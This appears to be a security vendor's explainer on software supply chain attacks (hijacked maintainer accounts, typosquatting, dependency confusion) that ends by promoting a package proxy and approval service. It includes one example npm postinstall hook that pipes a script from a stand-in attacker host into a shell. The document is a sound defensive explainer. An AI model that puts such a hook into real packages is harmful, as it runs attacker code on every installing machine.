What is a software supply chain attack?
You don't write all of your own code. No team does. An average project pulls in dozens of direct dependencies and hundreds of transitive ones – packages that bring their own dependencies along. In a supply chain attack, nobody targets your application directly. Instead, one of these dependencies gets compromised, and the malicious code travels to you automatically with the next npm install:
"scripts": { "postinstall": "curl http://evil.tld/payload.sh | sh" }
A single postinstall hook buried deep in a dependency tree is enough. This isn't an npm-specific problem – PyPI, RubyGems, crates.io, and traditional Linux package repositories are just as exposed, as the 2024 xz-utils backdoor showed.
Why is this such a big problem right now?
• Modern projects can easily have thousands of packages in node_modules, from hundreds of different maintainers.
• Almost no team reviews every code change in every dependency – at this scale, it simply isn't feasible.
• Automatic updates (^ and ~ version ranges) spread a compromised version to thousands of projects worldwide within hours.
• A compromised low-level package used as a dependency across the ecosystem has enormous leverage – a single commit suddenly affects everything built on top of it.
What does an attack look like?
Scenario 1: An attacker takes over a maintainer's npm account – through phishing or a reused, leaked password. They publish a new, unremarkable-looking patch version with malicious code injected. Every project with an open version range pulls it automatically on the next build.
Scenario 2: Typosquatting. The attacker registers a package with a name that's easy to confuse with a popular one. A developer mistypes npm install – and installs the malicious package instead.
Scenario 3: Dependency confusion. A company uses an internal package under a specific name. If a package with the same name and a higher version number exists publicly, the build system often pulls the public – compromised – version instead of the internal one by mistake.
In all three cases, the impact is comparably severe: backdoors in your own application and data, credential stealers on developer machines, data encryption and extortion, and in the worst case, further distribution to your own customers.
Why CVE monitoring barely helps here
CVE monitoring only works once a problem is already known and documented. In between lies time – often days or weeks – during which a compromised version is already running in production before anyone even identifies it as malicious. By the time the CVE entry exists, the damage is done for many.
The real problem: do you know your blast radius?
Even once a compromise becomes public, the key question remains: were you affected? If the compromised version made it into your package-lock.json and was committed, you can at least reconstruct the blast radius – which projects, which version, since when.
But if the package was only installed locally on a developer's machine, for testing or in a feature branch that was never committed – there's no trace at all. No log, no diff, nothing to fall back on. And manually reviewing every dependency and every one of its sub-dependencies is practically impossible at that scale.
What Driftguard offers
We're currently building a two-tier approach for exactly this problem.
Tier 1 is a proxy that every developer on the team pulls their packages through. Every request gets logged – project, developer, package name, version. This doesn't prevent a compromised version from being installed. But it makes the blast radius traceable, even if nothing was ever committed. You know who pulled which version, and when.
Tier 2 goes a step further: organization-wide approvals. You define which package versions are allowed, and new versions get reviewed before being deliberately approved – instead of every project automatically pulling the latest release.
This feature is currently in closed beta. If you'd like to try it, reach out to us directly.
Further reading
Why visibility is the foundation of any security strategy in general is described in Why the Foundation Needs Protection. If you want to secure your infrastructure systematically instead of by chance, our DNS setup checklist is a good starting point.